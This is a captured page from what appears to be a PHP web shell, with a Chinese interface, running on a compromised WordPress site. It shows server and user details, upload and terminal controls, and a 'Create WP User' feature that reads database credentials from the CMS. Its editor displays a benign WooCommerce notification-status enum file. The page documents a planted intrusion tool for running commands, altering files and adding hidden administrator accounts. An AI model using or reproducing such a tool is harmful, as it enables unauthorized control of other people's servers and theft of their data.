Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
StockNotifications
/
Enums
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
NotificationCancellationSource.php
688.00 B
-rw-r--r--
2026-03-03 00:17
NotificationStatus.php
1.46 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
NotificationStatus.php
<?php declare( strict_types = 1 ); namespace Automattic\WooCommerce\Internal\StockNotifications\Enums; /** * Enum class for all the notification statuses. */ final class NotificationStatus { /** * Status: 'pending'. * Initial state when Double Opt-In (DOI) is active, awaiting user email verification. * Not eligible for "back in stock" notifications until confirmed. * * @var string */ public const PENDING = 'pending'; /** * Status: 'active'. * User's subscription is confirmed and they are waiting for a "back in stock" alert. * This is the default for new subscriptions if DOI is disabled, or after DOI confirmation. * Notifications in this state are processed when the product is available. * * @var string */ public const ACTIVE = 'active'; /** * Status: 'sent'. * The "back in stock" notification email has been successfully dispatched. * Typically a final state for that notification event. * * @var string */ public const SENT = 'sent'; /** * Status: 'cancelled'. * The notification is no longer active and will not be sent. * The reason for cancellation should be in the `cancellation_source` field. * * @var string */ public const CANCELLED = 'cancelled'; /** * Get all available notification statuses. * * @return array<string> Notification statuses. */ public static function get_valid_statuses(): array { return array( self::PENDING, self::ACTIVE, self::SENT, self::CANCELLED, ); } }
关闭
保存